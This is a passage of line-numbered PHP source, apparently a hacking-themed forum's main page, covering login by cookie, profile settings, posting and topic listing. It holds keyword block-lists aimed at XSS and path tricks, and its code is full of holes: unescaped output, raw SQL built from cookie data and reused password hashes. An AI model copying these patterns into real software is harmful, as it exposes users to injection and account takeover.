$pre; 2051 } 2052 2053 $prepr = ($string) ? $dat : (int) $dat; 2054 $processed = ($escape) ? mysql_real_escape_string($prepr) : $prepr; 2055 2056 } else { 2057 2058 $prepr = ($string) ? $data : (int) $data; 2059 $processed = ($escape) ? mysql_real_escape_string($prepr) : $prepr; 2060 2061 } 2062 } else { 2063 $processed = false; 2064 } 2065 2066 return $processed; 2067 } 2068 2069 function check() { 2070 2071 $run = explode(',',$_COOKIE['guid']); 2072 2073 $p = prepare($run[2],250,true,false,true); 2074 $u = prepare($run[1],150,true,false,true); 2075 $sql = mysql_query("select * from users where user = '".$u."' and pass 2076 = '".$p."'"); 2077 2078 if(mysql_num_rows($sql) >0) { 2079 session_start(); 2080 $_SESSION['login'] = 1; 2081 while($m=mysql_fetch_array($sql)) { 2082 $username = encode($m['user']); 2083 ?> 2084 <script> 2085 y('guid','<?= unique().','.$username.','.sha1($p);?>'); 2086 </script> 2087 <? 2088 } 2089 } 2090 } 2091 2092 2093 function image($val) { 2094 2095 $val = preg_replace("/..\//",' ',$val); 2096 2097 if(preg_match("/(\.p|\.j|\.h|\.a|\.x|\.s|..\/|\(|\)|http|ftp|\/\/|www|eval|data 2098 :|script|>|<|\'|\"|\-|\+|\$|\`|;|{|}|system|php|&#|java|xss|%3C|%3E|minutemaid| 2099 cookie|alert|string)/i", $val)){ 2100 $img = false; 2101 } else { 2102 $img = 2103 (eregi("^([a-zA-Z].*|[1-9].*)\.(((j|J)(p|P)(g|G))|((g|G)(i|I)(f|F)))$", $val)) 2104 ? true:false; 2105 } 2106 2107 if($img === false) { 2108 $img = 'hacked.gif'; 2109 } 2110 if (file_exists('avatars/'.escapeshellcmd($img))) { 2111 return escapeshellcmd($img); 2112 } else { 2113 return 'hacked.gif'; 2114 } 2115 } 2116 2117 2118 # uniqueid 2119 function unique(){ 2120 $u = 2121 uniqid(mt_rand(0,65350),(int)str_replace('.','',$_SERVER['REMOTE_ADDR']).mt_ran 2122 d(0,65350)); 2123 for($i=0;$i<15;$i++) { 2124 $tmp = $u[$i]; 2125 $uid .= $tmp; 2126 } 2127 return substr(md5($uid),0,7); 2128 } 2129 2130 function hex($str) 2131 { 2132 if (trim($str)!="") 2133 { 2134 $hex=""; 2135 $length=strlen($str); 2136 for ($i=0; $i<$length; $i++) 2137 { 2138 if ($i>0) $bound=":"; else $bound=""; 2139 $hex.=$bound.str_pad(dechex(ord($str[$i])), 2, 0, STR_PAD_LEFT); 2140 } 2141 return $hex; 2142 } 2143 } 2144 2145 if($_REQUEST['members'] && $_SESSION['login'] && $_COOKIE['guid'] && 2146 $_COOKIE['forum']) { 2147 ?> 2148 2149 <table width="100%" border="0" cellspacing="1" cellpadding="3" > 2150 <tr> 2151 <td width="6%" >Avatar</td> 2152 <td width="21%" >Nickname</td> 2153 <td width="24%" >Company</td> 2154 <td >Website</td> 2155 </tr> 2156 <? 2157 $sql = mysql_query("select * from users order by user ASC"); 2158 $i = 0; 2159 while($c=mysql_fetch_array($sql)) { 2160 2161 $avx = $c['avatar']; 2162 if(preg_match("/(\.php|\.js|\.html|\.asp|http|www|\.com|wtf|\-|\_|\+|\=|minutem 2163 aid|javascript|script|>|<|\'|\"|java|xss|%3C|%3E)/i", $avx)){ 2164 $av = 'hacked.gif'; 2165 }elseif (file_exists('avatars/'.escapeshellcmd($c['avatar']))) { 2166 $av = $c['avatar']; 2167 } else { 2168 $av = 'hacked.gif'; 2169 } 2170 echo ($i % 2) ? "<tr bgcolor=\"#ffffff\">" : "<tr bgcolor=\"#f7f7f7\">"; 2171 ?> 2172 <td class="cb"><? 2173 if($av) { 2174 echo "<img src=http://www.0x000000.com/avatars/".$av." width=\"30\" 2175 height=\"30\" border=\"0\">"; 2176 } else { 2177 echo "<img src=\"no.gif\" height=\"30\" width=\"30\" border=\"0\">"; 2178 } 2179 ?> </td> 2180 <td class="cb"><?=encode(stripslashes($c['user']));?></td> 2181 <td class="cb"><?=encode(stripslashes($c['company']));?></td> 2182 <td class="cb"><?=encode(stripslashes($c['link']));?></td> 2183 </tr> 2184 <? 2185 ++$i; 2186 } 2187 ?> 2188 </table> 2189 <? 2190 } 2191 2192 if($_REQUEST['settings'] && $_SESSION['login'] && $_COOKIE['guid'] && 2193 $_COOKIE['forum']) { 2194 2195 $run = explode(',',$_COOKIE['guid']); 2196 $p = prepare($run[2],250,true,false,true); 2197 $u = prepare($run[1],150,true,false,true); 2198 $sql = mysql_query("select * from users where user = '".$u."' and pass = 2199 '".$p."' limit 1"); 2200 while($r=mysql_fetch_array($sql)) { 2201 ?> 2202 <form action="index.php?!=1&set=true&toc=<?=unique();?>" method="post" 2203 name="set" id="set"> 2204 <table width="100%" border="0" cellspacing="1" cellpadding="3" > 2205 <tr> 2206 <td colspan="3" class="cb"><strong>Settings</strong></td> 2207 </tr> 2208 <tr> 2209 <td width="19%" class="cb">Name:</td> 2210 <td colspan="2" class="cb"><input type="text" name="name" 2211 style="color:#fffff;" value="<?=$r['name'];?>" /> 2212 </td> 2213 </tr> 2214 <tr> 2215 <td class="cb">Company:</td> 2216 <td width="48%" class="cb"><input type="text" name="company" 2217 style="color:#fffff;" value="<?=$r['company'];?>"/></td> 2218 <td width="33%" rowspan="4" class="cb"><div id="img"></div></td> 2219 </tr> 2220 <tr> 2221 <td class="cb">E-mail:</td> 2222 <td class="cb"><input type="text" name="email" style="color:#fffff;" 2223 value="<?=$r['email'];?>"/></td> 2224 </tr> 2225 <tr> 2226 <td class="cb">Website:</td> 2227 <td class="cb"><input type="text" name="website" style="color:#fffff;" 2228 value="<?=$r['link'];?>"/></td> 2229 </tr> 2230 <tr> 2231 <td class="cb">Signature:</td> 2232 <td class="cb"><input type="text" name="sig" style="color:#fffff;" 2233 value="<?=$r['sig'];?>"/></td> 2234 </tr> 2235 <tr> 2236 <td class="cb">Avatar:</td> 2237 <td class="cb" colspan=3><select name="avatar" id="select" 2238 style="color:#fffff;" 2239 onchange="show('http://www.0x000000.com/avatars/'+this.value);"> 2240 <option value="<?=$r['avatar'];?>" 2241 onmouseover="show('http://www.0x000000.com/avatars/<?=$r['avatar'];?>');" 2242 style="color:#fffff;"> 2243 <?=$r['avatar'];?> 2244 </option> 2245 <option value="" 2246 style="color:#fffff;">----------------------</option> 2247 <option value="" style="color:#fffff;"> all available 2248 avatars</option> 2249 <option value="" 2250 style="color:#fffff;">----------------------</option> 2251 <? 2252 if ($h = opendir('avatars/')) { 2253 while (false !== ($file = readdir($h))) { 2254 if ($file != "." && $file != "..") { 2255 echo "<option value='$file' 2256 onmouseover=\"javascript:show('http://www.0x000000.com/avatars/".encode($file). 2257 "');\" style=\"color:#fffff;\">".encode($file)."</option>"; 2258 } 2259 } 2260 closedir($h); 2261 } else { 2262 echo "error!"; 2263 } 2264 ?> 2265 </select> 2266 </td> 2267 </tr> 2268 <tr> 2269 <td class="cb"> </td> 2270 <td colspan="2" class="cb"><input type="submit" name="button" value="Save 2271 settings" style="color:#fffff;"/> 2272 </td> 2273 </tr> 2274 </table> 2275 </form> 2276 <? 2277 } 2278 } 2279 2280 if($_REQUEST['set'] && $_COOKIE['guid'] && $_COOKIE['forum'] && 2281 $_REQUEST['name'] && $_REQUEST['email'] && $_SESSION['login']) { 2282 2283 if(image($_REQUEST['avatar'])) { 2284 2285 $run = explode(',',$_COOKIE['guid']); 2286 $p = prepare($run[2],150,true,false,true); 2287 $u = prepare($run[1],150,true,false,true); 2288 $sql = mysql_query("select * from users where user = '".$u."' and pass 2289 = '".$p."' limit 1"); 2290 2291 if(mysql_num_rows($sql) >0 ) { 2292 2293 while($m=mysql_fetch_array($sql)) { 2294 $sql = mysql_query("update users set name = 2295 '".prepare(encode($_REQUEST['name']),150,true,false,true)."', 2296 company = 2297 '".prepare(encode($_REQUEST['company']),150,true,false,true)."', 2298 email = 2299 '".prepare(encode($_REQUEST['email']),150,true,false,true)."', 2300 link = 2301 '".prepare(encode($_REQUEST['website']),40,true,false,true)."', 2302 avatar = 2303 '".prepare(encode($_REQUEST['avatar']),150,true,false,true)."', 2304 sig = '".prepare(encode($_REQUEST['sig']),250,true,false,true)."' 2305 where id = '".$m['id']."'"); 2306 echo "<div class=\"green\">Updated!</div><br><br>"; 2307 } 2308 } 2309 } else { echo "(!) No image, probably a wrong file format.<br><br>";} 2310 } 2311 2312 if($_REQUEST['newtopic'] && $_SESSION['login']) { 2313 2314 if($_SESSION['login']) { 2315 $item = explode('|',$_REQUEST['newtopic']); 2316 $id = (int) $item[1]; 2317 ?> 2318 <br /> 2319 <form action="index.php?!=1&topic=<?=hex(unique());?>|<?=$id;?>" 2320 method="post" name="reply" id="reply"> 2321 <table width="100%" border="0" cellspacing="1" cellpadding="3" > 2322 <tr> 2323 <td width="55%" class="cb"><strong>New topic</strong> <br /> 2324 <br /> 2325 <input type="text" name="name" size="60" value="" 2326 style="color:#fffff;"/></td> 2327 <td width="45%" class="cb"> </td> 2328 </tr> 2329 <tr> 2330 <td colspan="2" class="cb">bbcode: [url=url]text[/url] - [b][/b] [i][/i] 2331 [u][/u] [s][/s] [hr] [code][/code] [sub][/sub] 2332 <div id="smile"></div><textarea name="posting" id="xx" 2333 style="width:99%;height:150px;color:#fffff;padding:3px;"></textarea> 2334 <br /> 2335 <input type="submit" name="submit" value="post topic" 2336 style="color:#fffff;" /><br /> 2337 <br /> 2338 </div></td> 2339 </tr> 2340 </table> 2341 </form> 2342 <? 2343 } else { echo "<br><br><div class=\"green\">(!) please login to post a new 2344 topic.</div>"; } 2345 2346 } 2347 2348 if($_REQUEST['topic'] && $_REQUEST['name'] && $_REQUEST['posting'] && 2349 $_COOKIE['guid']) { 2350 2351 $item = explode('|',$_REQUEST['topic']); 2352 $id = (int) $item[1]; 2353 $name = $_REQUEST['name']; 2354 $post = $_REQUEST['posting']; 2355 2356 $run = explode(',',$_COOKIE['guid']); 2357 $p = prepare($run[2],250,true,false,true); 2358 $u = prepare($run[1],150,true,false,true); 2359 $sql = mysql_query("select * from users where user = '".$u."' and pass 2360 = '".$p."'"); 2361 2362 if(mysql_num_rows($sql) >0) { 2363 session_start(); 2364 $_SESSION['login'] = 1; 2365 while($m=mysql_fetch_array($sql)) { 2366 $username = encode($m['user']); 2367 $uid = (int) $m['id']; 2368 flood2($id,$uid); 2369 } 2370 2371 $sqlo = mysql_query("insert into topics set catid = '".$id."', 2372 name = '".prepare(encode($name),100,true,false,true)."', 2373 post = '".prepare(encode($post),5001,true,false,true)."', 2374 uid = '".$uid."', user = '".$username."', time = '". date("F j, Y, g:i 2375 a",time()) ."', timer = '".time()."'") or die(); 2376 2377 $num = mysql_query("select * from topics"); 2378 $last = mysql_num_rows($num); 2379 $nn = "|".$last.":".$id; 2380 $s = mysql_query("update users set unreadtopic = 2381 CONCAT(unreadtopic,'".$nn."') "); 2382 2383 echo "<a href=\"index.php?!=1&f=0x0|".$id."\"><div class=\"green\">Posted! 2384 return to the forum click here</div></a><br><br>"; 2385 } else { 2386 echo 'error'; 2387 } 2388 } 2389 2390 if($_REQUEST['logout'] && $_COOKIE['guid'] && $_COOKIE['forum']) { 2391 2392 setcookie('forum','',1); 2393 setcookie('guid','',1); 2394 session_destroy(); 2395 echo "<br><br><a href=\"index.php?!=1\"><div class=\"green\">You are 2396 logged out, go to forum</div></a><br><br>"; 2397 header("location:index.php?!=1"); 2398 exit; 2399 } 2400 2401 2402 if($_REQUEST['markread'] && $_COOKIE['guid'] && $_COOKIE['forum']) { 2403 2404 $dats = explode(',',$_COOKIE['guid']); 2405 2406 $sql = mysql_query("update users set unreadtopic = '0:0' where user = 2407 '".prepare($dats[1],150,true,false,true)."' 2408 and pass = '".prepare($dats[2],250,true,false,true)."' limit 1"); 2409 echo "<br><br><a href=\"index.php?!=1\"><div class=\"green\">All messages 2410 are marked.</div></a><br><br>"; 2411 header("location:index.php?!=1"); 2412 exit; 2413 2414 } 2415 $cookie = $_COOKIE['forum']; 2416 $key = $_SESSION['forum']; 2417 $body = $_REQUEST['reply']; 2418 $post = $_REQUEST['post']; 2419 # check behaviour. 2420 if($key && $cookie && $body && $post && $_REQUEST['!']==1) { 2421 2422 if($key !== $cookie) { 2423 echo "<div class=\"green\">Session error, quit trying and 2424 abort.</div>"; 2425 setcookie('forum','',1); 2426 session_destroy(); 2427 exit; 2428 } 2429 elseif(preg_match("/(poker|blackjack|viagra|adult|dating|singles|v1agra|erotic| 2430 pills|levitra|lolita|phentermine|zyban|valtex|xenical|adipex|celebrex|diflucan| 2431 norvasc|pharmacy|drugstore|meridia|cunt|mortgage|credit|loan|finance|cash|boob| 2432 enlarge|insurance|debt|casino|prozac|zoloft|masculine|xanax|valium|hydrocodone| 2433 vicodin|paxil|vioxx)/i", $body)){ 2434 echo "<div class=\"green\">(!) Message contains probably SPAM, please 2435 review and correct.</div><br><br>"; 2436 setcookie('forum','',1); 2437 session_destroy(); 2438 exit; 2439 2440 } elseif(strlen($body) > 5000) { 2441 2442 echo "<div class=\"green\">(!) Message is too large, maxlength is 5000 2443 chars!</div><br><br>"; 2444 2445 } else { 2446 2447 $pid = explode('|',$_REQUEST['post']); 2448 2449 $id = (int)$pid[1]; 2450 $sid = (int)$pid[2]; 2451 2452 $dats = explode(',',$_COOKIE['guid']); 2453 2454 if(!$dats[1]) { 2455 echo '<div class=\"green\">(!) Cookie problem, please logout and 2456 re-login to fix this issue.</div><br><br>'; 2457 exit; 2458 } 2459 2460 $sql2 = mysql_query("select * from users where user = 2461 '".prepare($dats[1],150,true,false,true)."' 2462 and pass = '".prepare($dats[2],250,true,false,true)."' limit 1"); 2463 2464 if(mysql_num_rows($sql2) >0 ) { 2465 2466 while($y = mysql_fetch_array($sql2)) { 2467 2468 flood($sid,$y['id']); 2469 2470 $sqlp = mysql_query("update topics set posts = (posts +1) , lastuser = 2471 '".$y['user']."' where id = '".$id."'"); 2472 $sqln = mysql_query("insert into posts set catid = '".$id."', userid = 2473 '".$y['id']."', 2474 post = '".prepare(encode($body),5001,true,false,true)."', 2475 time = '". date("F j, Y, g:i a",time()) ."', 2476 ip = '".encode($_SERVER['REMOTE_ADDR'])."', 2477 sid = '".$sid."', timer = '".time()."'"); 2478 2479 $num2 = mysql_query("select * from posts"); 2480 $last2 = mysql_num_rows($num2); 2481 $nn = '|'.$id.':'.$sid; 2482 $f = mysql_query("update users set unreadtopic = 2483 CONCAT(unreadtopic,'".$nn."')"); 2484 echo "<div class=\"green\">Message posted!</div><br><br>"; 2485 check(); 2486 header("location:index.php?!=1&read=".$id.'|'.$sid.""); 2487 setcookie('forum','',1); 2488 exit; 2489 } 2490 } else { 2491 2492 echo "<div class=\"green\">(!) Auth problem, are you a member? please 2493 re-login to fix it.</div><br><br>"; 2494 2495 setcookie('forum','',1); 2496 setcookie('guid','',1); 2497 header("location:index.php?!=1"); 2498 session_destroy(); 2499 exit; 2500 } 2501 } 2502 2503 } 2504 2505 $_SESSION['forum'] = crypt(sha1(hex(unique()))); 2506 ?> 2507 <script language="JavaScript" type="text/javascript"> 2508 function y(n,v) { 2509 var date = new Date(); 2510 date.setTime(date.getTime()+(1*24*60*60*1000)); 2511 var expires = "; expires="+date.toGMTString(); 2512 document.cookie = n+"="+v+expires+"; path=/;"; 2513 } 2514 // set cookie 2515 y('forum','<?=$_SESSION['forum'];?>'); 2516 2517 </script> 2518 <noscript> 2519 Javascript needs to be enabled to use the forum, cuz it sets the cookie! 2520 </noscript> 2521 <div class="pre"> 2522 <? 2523 if($_REQUEST['login'] && $_REQUEST['user'] && $_REQUEST['pass']) { 2524 2525 if(eregi('[^a-z0-9_]', $_REQUEST['user'])) { 2526 echo "<div class=\"green\">(!) Only a-z-0-9 chars as username</div>"; 2527 exit; 2528 } 2529 2530 $p = prepare($_REQUEST['pass'],250,true,false,true); 2531 $u = prepare($_REQUEST['user'],150,true,false,true); 2532 $sql = mysql_query("select * from users where user = '".$u."' and pass 2533 = '".sha1($p)."'"); 2534 2535 if(mysql_num_rows($sql) >0) { 2536 session_start(); 2537 $_SESSION['login'] = 1; 2538 while($m=mysql_fetch_array($sql)) { 2539 $_SESSION['username'] = encode($m['user']); 2540 ?> 2541 <script> 2542 y('guid','<?= unique().','.$_SESSION['username'].','.sha1($p);?>'); 2543 </script> 2544 <? 2545 } 2546 echo "<a href=\"index.php?!=1\"><div class=\"green\">(!) continue to 2547 forum, click here.</div></a>"; 2548 } else { 2549 echo '<div class=\"green\">(!) Ooooops! I guess that login doesn\'t 2550 work.</div><br><br>'; 2551 } 2552 2553 } elseif($_REQUEST['f']) { 2554 2555 $cid = explode('|',$_REQUEST['f'],7); 2556 $id = (int) $cid[1]; 2557 2558 if($_SESSION['login']) { 2559 ?> 2560 <table width="100%" border="0" cellspacing="1" cellpadding="3" > 2561 <tr> 2562 <td class="cb"> 2563 <div align="right"><a 2564 href="index.php?!=1&newtopic=<?=hex(unique());?>|<?=$id;?>">new topic</a> | 2565 <a href="index.php?!=1&members=true">members</a> | <a 2566 href="index.php?!=1&settings=<?=hex(unique());?>">settings</a> | <a 2567 href="index.php?!=1&markread=<?=hex(unique());?>">mark all read</a> | <a 2568 href="index.php?!=1&logout=<?=hex(unique());?>">logout</a></div> 2569 </td> 2570 </tr> 2571 </table> 2572 <? 2573 } 2574 ?> 2575 <br /> 2576 <a href="index.php?!=1" class="fa">« back to forum list</a><br /> 2577 <br /> 2578 <table width="100%" border="0" cellspacing="1" cellpadding="2"> 2579 <tr> 2580 <td width="43%" class="cb">Subject </td> 2581 <td width="6%" class="cb">Posts </td> 2582 <td width="7%" class="cb">By </td> 2583 <td width="44%" class="cb">Last Post </td> 2584 </tr> 2585 <? 2586 2587 $sql = mysql_query("select * from topics where catid = '".$id."' order by id 2588 DESC"); 2589 while($r=mysql_fetch_array($sql)) { 2590 $pre = mysql_query("select count(*) from posts where catid = 2591 '".$r['id']."'"); 2592 while($w=mysql_fetch_array($pre)) { 2593 $lstid = $w['count(*)']; 2594 2595 $query = mysql_query("select time from posts where catid = 2596 '".$r['id']."' order by id DESC limit 1"); 2597 while($a=mysql_fetch_array($query)) { 2598 2599 $times = $a['time']; 2600 2601 } 2602 2603 $sqlx = mysql_query("select unreadtopic from users where user = 2604 '".$_SESSION['username']."'"); 2605 while($a= mysql_fetch_array($sqlx)){ 2606 $t = $r['id'].':'.$id; 2607 if(strstr($a['unreadtopic'],$t)) { 2608 $new = '<span class="new">(new)</span>'; 2609 } else { 2610 $new = ""; 2611 } 2612 } 2613 ?> 2614 <tr> 2615 <td class="cb" ><a href="index.php?!=1&read=<?=$r['id'];?>|<?=$id;?>" 2616 class="fa"> 2617 <?=stripslashes($r['name']);?> <?=$new;?> 2618 </a></td> 2619 <td class="cb"><div align="center" class="fa"> 2620 <? if($lstid) { echo $lstid; } else { echo '1'; } ?> 2621 </div></td> 2622 <td class="cb" ><?=$r['user'];?></td> 2623 <td class="cb"><a 2624 href="index.php?!=1&read=<?=$r['id'];?>|<?=$id;?>#m<?=encode($lstid);?>" 2625 class="smaller"><? if($r['lastuser']) { echo $r['lastuser'].' - '. $times; } 2626 else { } ?> 2627 </a></td> 2628 </tr> 2629 <? 2630 } 2631 } 2632 ?> 2633 </table> 2634 <? 2635 } elseif($_REQUEST['read']) { 2636 2637 $tmp = explode('|',$_REQUEST['read'],7); 2638 2639 $id = (int) $tmp[0]; 2640 $catid = (int) $tmp[1]; 2641 2642 $t = '|'.$id.':'.$catid; 2643 $sq = mysql_query("update users set unreadtopic = 2644 replace(unreadtopic,'".$t."','') where user = '".$_SESSION['username']."' "); 2645 2646 2647 ?> 2648 <a href="index.php?!=1&f=0x0|<?=$catid;?>" class="fa">« back to 2649 forum list</a><br /> 2650 <br /> 2651 <table width="100%" border="0" cellspacing="1" cellpadding="7"> 2652 <? 2653 $sqlp = mysql_query("update topics set views = (views +1) where catid = 2654 '".$catid ."'"); 2655 $sql = mysql_query("select * from topics where id = '".$id."' limit 1"); 2656 2657 while($r=mysql_fetch_array($sql)) { 2658 2659 $sqlcnt = mysql_query("select * from posts where userid = 2660 '".$r['uid']."'"); 2661 2662 $pre = mysql_query("select * from users where id = '".$r['uid']."'"); 2663 while($s=mysql_fetch_array($pre)) { 2664 2665 2666 $ut = $s['user']; 2667 $avx = $s['avatar']; 2668 $avz = preg_replace("/..\//",' ',$avx); 2669 2670 if(preg_match("/(\.php|\.js|\.html|\.asp|http|www|wtf|\.com|\-|\_|\+|\=|script| 2671 >|<|\'|\"|java|xss|%3C|%3E)/i", $avz)){ 2672 $av = 'hacked.gif'; 2673 } elseif (file_exists('avatars/'.escapeshellcmd($avz))) { 2674 $av = $avz; 2675 } else { 2676 $av = 'hacked.gif'; 2677 } 2678 2679 2680 2681 ?> 2682 <tr> 2683 <td colspan="3" bgcolor="#f7f7f7" class="cb"><h2> 2684 <?=stripslashes($r['name']);?> 2685 </h2> 2686 <a href="<?=encode($s['link']);?>" class="fa">Started by: 2687 <?=$ut;?> 2688 <? if($s['company']) {echo '('.$s['company'].')'; } else {}; ?> 2689 on: 2690 <?=$r['time'];?> 2691 <br /> 2692 </a></td> 2693 </tr> 2694 <tr> 2695 <td width="70" valign="top" bgcolor="#ffffff" class="cb"><? 2696 } 2697 if($av) { 2698 echo "<img src=http://www.0x000000.com/avatars/".$av." width=\"70\" 2699 height=\"70\" border=\"0\">"; 2700 } else { 2701 echo "<img src=\"no.gif\" width=\"70\" border=\"0\">"; 2702 } 2703 ?> </td> 2704 <td bgcolor="#ffffff" class="cb" ><div class="hack"> 2705 <? 2706 $dat = nl2br(stripslashes($r['post'])); 2707 echo wrap(rplace($dat)); 2708 ?> 2709 <? 2710 if($s['sig']) { 2711 $dz = nl2br(stripslashes($s['sig'])); 2712 echo '<div class="sig">'. rplace(stripslashes($dz)) .'</div>'; 2713 } 2714 ?> 2715 </div></td> 2716 </tr> 2717 <? 2718 } 2719 $sql = mysql_query("select * from posts where catid = '".$id."' order by id 2720 ASC"); 2721 while($r=mysql_fetch_array($sql)) { 2722 2723 $sqlcnt2 = mysql_query("select * from posts where userid = 2724 '".$r['userid']."'"); 2725 $pre = mysql_query("select * from users where id = '".$r['userid']."' 2726 limit 1"); 2727 while($s=mysql_fetch_array($pre)) { 2728 2729 $ut = $s['user']; 2730 $avx = $s['avatar']; 2731 $avz = preg_replace("/..\//",' ',$avx); 2732 2733 if(preg_match("/(\.php|\.js|\.html|\.asp|http|www|wtf|\.com|\-|\_|\+|\=|script| 2734 >|<|\'|\"|java|xss|%3C|%3E)/i", $avz)){ 2735 $av = 'hacked.gif'; 2736 } elseif (file_exists('avatars/'.$avx)) { 2737 $av = $avz; 2738 } else { 2739 $av = 'hacked.gif'; 2740 } 2741 ?> 2742 <tr> 2743 <td colspan="2" bgcolor="#f7f7f7" valign="bottom"><br /></td> 2744 </tr> 2745 <tr> 2746 <td rowspan="2" valign="top" bgcolor="#ffffff" class="cb"><? 2747 if($av) { 2748 echo "<img src=http://www.0x000000.com/avatars/".$av." width=\"70\" 2749 height=\"70\" border=\"0\">"; 2750 } else { echo "<img src=\"no.gif\" width=\"70\" border=\"0\">"; 2751 } 2752 2753 2754 ?></td> 2755 <td valign="top" bgcolor="#ffffff" class="cb"> 2756 2757 2758 <div style="color:#999999;"><?=$ut;?><? if($s['company']) {echo 2759 '('.$s['company'].')'; } else {}; ?> 2760 on:<?=$r['time'];?></div> 2761 </td> 2762 </tr> 2763 <tr> 2764 <td valign="top" bgcolor="#ffffff" class="cb"> <div class="hack"> 2765 <? 2766 $dat = nl2br(stripslashes($r['post'])); 2767 echo wrap(rplace($dat)); 2768 ?> 2769 <? 2770 if($s['sig']) { 2771 $dz = nl2br(stripslashes($s['sig'])); 2772 echo '<div class="sig">'. rplace(stripslashes($dz)) .'</div>'; 2773 } 2774 ?> 2775 </div></td> 2776 </tr> 2777 <? 2778 } 2779 } 2780 ?> 2781 </table> 2782 <? 2783 if($_SESSION['login']) { 2784 ?> 2785 <br /> 2786 2787 <form 2788 action="index.php?!=1&post=<?=hex(unique());?>|<?=$id;?>|<?=$catid;?>" 2789 method="post" name="reply" id="reply"> 2790 <table width="100%" border="0" cellspacing="1" cellpadding="3" > 2791 <tr> 2792 <td class="cb"><strong>Reply</strong></td> 2793 </tr> 2794 <tr> 2795 <td class="cb"><div align="right">bbcode: [url=url]text[/url] - [b][/b] 2796 [i][/i] [u][/u] [s][/s] [hr] [code][/code] [sub][/sub] 2797 <div id="smile"></div> 2798 <textarea name="reply" id="xx" 2799 style="width:99%;height:150px;color:#fffff;padding:3px;"></textarea> 2800 <br /> 2801 <input type="submit" name="submit" value="post reply" 2802 style="color:#fffff;" /> 2803 </div></td> 2804 </tr> 2805 </table> 2806 </form> 2807 <? 2808 } else { 2809 echo "<br><br><div class=\"green\">(!) please login to post.</div>"; 2810 } 2811 } else { 2812 2813 function NT($num) { 2814 $sql = mysql_query("select * from topics where catid = '".$num."'"); 2815 return mysql_num_rows($sql); 2816 } 2817 2818 function PT($num) { 2819 $sql = mysql_query("select * from posts where sid = '".$num."'"); 2820 if(mysql_num_rows($sql) >0) { 2821 $cf = (mysql_num_rows($sql) + 1); 2822 } else { 2823 $cf = '0'; 2824 } 2825 return $cf; 2826 } 2827 2828 function posts($num) { 2829 $n = ':'.$num; 2830 $sqlx = mysql_query("select * from users where unreadtopic LIKE '%".$n."' 2831 and user = '".$_SESSION['username']."'"); 2832 while($a= mysql_fetch_array($sqlx)){ 2833 echo '<span class="new">(new)</span>'; 2834 } 2835 } 2836 # init session 2837 $_SESSION['gid'] = hex(unique()); 2838 $guid = $_SESSION['gid']; 2839 ?> 2840 <? 2841 if($_SESSION['login']) { 2842 ?> 2843 <table width="100%" border="0" cellspacing="1" cellpadding="3" > 2844 <tr> 2845 <td width="30%"></td> 2846 <td width="70%"><div align="right"><a 2847 href="index.php?!=1&members=true">members</a> | <a 2848 href="index.php?!=1&settings=<?=hex(unique());?>">settings</a> | <a 2849 href="index.php?!=1&markread=<?=hex(unique());?>">mark all read</a> | <a 2850 href="index.php?!=1&logout=<?=hex(unique());?>">logout</a></div></td> 2851 </tr> 2852 </table> 2853 <? 2854 } 2855 ?> 2856 <br /> 2857 <table width="100%" border="0" cellspacing="1" cellpadding="3" > 2858 <tr> 2859 <td width="30%" class="cb"><h2>FORUM</h2></td> 2860 <td width="49%" class="cb"><div align="center"> 2861 <? 2862 if($_SESSION['login']) { 2863 echo 'Welcome ' . $_SESSION['username']; 2864 } else { 2865 ?> 2866 <form action="index.php?!=1&login=true" method="post" 2867 name="login" id="login"> 2868 <input type="text" name="user" class="ll" size="12"/> 2869 <input type="password" name="pass" class="ll" size="12"/> 2870 <input type="submit" name="submit" value="login" class="ll"/> 2871 </form> 2872 <? 2873 } 2874 ?> 2875 </div> 2876 </td> 2877 <td width="11%" class="cb">Threads</td> 2878 <td width="10%" class="cb">Posts</td> 2879 </tr> 2880 </table> 2881 <br /> 2882 <table width="100%" border="0" cellspacing="1" cellpadding="7" > 2883 <tr> 2884 <td width="79%" valign="top" class="cb" ><a 2885 href="index.php?!=1&f=<?=$guid;?>|1" class="f">General hacking</a> <?= 2886 posts(1);?><br /> 2887 <div class="g">Everything that applies to hacking</div> </td> 2888 <td width="11%" valign="top" class="cb" ><div align="center"> 2889 <?= NT(1);?> 2890 </div></td> 2891 <td width="10%" valign="top" class="cb" ><div align="center"> 2892 <?= PT(1);?> 2893 </div></td> 2894 </tr> 2895 <tr> 2896 <td valign="top" class="cb" ><a href="index.php?!=1&f=<?=$guid;?>|2" 2897 class="f">News</a> <?= posts(2);?><br /> 2898 <div class="g">Important news about hacking or security.</div></td> 2899 <td valign="top" class="cb" ><div align="center"> 2900 <?= NT(2);?> 2901 </div></td> 2902 <td valign="top" class="cb" ><div align="center"> 2903 <?= PT(2);?> 2904 </div></td> 2905 </tr> 2906 <tr> 2907 <td valign="top" class="cb" ><a href="index.php?!=1&f=<?=$guid;?>|3" 2908 class="f">Webapplication hacking</a> <?= posts(3);?><br /> 2909 <div class="g">Everything webapplication, hacking websites, apps and 2910 more...</div></td> 2911 <td valign="top" class="cb" ><div align="center"> 2912 <?= NT(3);?> 2913 </div></td> 2914 <td valign="top" class="cb" ><div align="center"> 2915 <?= PT(3);?> 2916 </div></td> 2917 </tr> 2918 <tr> 2919 <td valign="top" class="cb" ><a href="index.php?!=1&f=<?=$guid;?>|4" 2920 class="f">Network hacking</a> <?= posts(4);?><br /> 2921 <div class="g">Strictly hardcore network.</div></td> 2922 <td valign="top" class="cb" ><div align="center"> 2923 <?= NT(4);?> 2924 </div></td> 2925 <td valign="top" class="cb" ><div align="center"> 2926 <?= PT(4);?> 2927 </div></td> 2928 </tr> 2929 <tr> 2930 <td valign="top" class="cb" ><a href="index.php?!=1&f=<?=$guid;?>|5" 2931 class="f">SQL Injection</a> <?= posts(5);?><br /> 2932 <div class="g">Vectors, questions and answers about SQL 2933 injection.</div></td> 2934 <td valign="top" class="cb" ><div align="center"> 2935 <?= NT(5);?> 2936 </div></td> 2937 <td valign="top" class="cb" ><div align="center"> 2938 <?= PT(5);?> 2939 </div></td> 2940 </tr> 2941 <tr> 2942 <td valign="top" class="cb" ><a href="index.php?!=1&f=<?=$guid;?>|6" 2943 class="f">XSS</a> <?= posts(6);?><br /> 2944 <div class="g">Vectors, questions and answers about cross site 2945 scripting.</div></td> 2946 <td valign="top" class="cb" ><div align="center"> 2947 <?= NT(6);?> 2948 </div></td> 2949 <td valign="top" class="cb" ><div align="center"> 2950 <?= PT(6);?> 2951 </div></td> 2952 </tr> 2953 <tr> 2954 <td valign="top" class="cb" ><a href="index.php?!=1&f=<?=$guid;?>|7" 2955 class="f">CSRF</a> <?= posts(7);?><br /> 2956 <div class="g">Unauthorized requests, CSRF, and general sea 2957 surfing.</div></td> 2958 <td 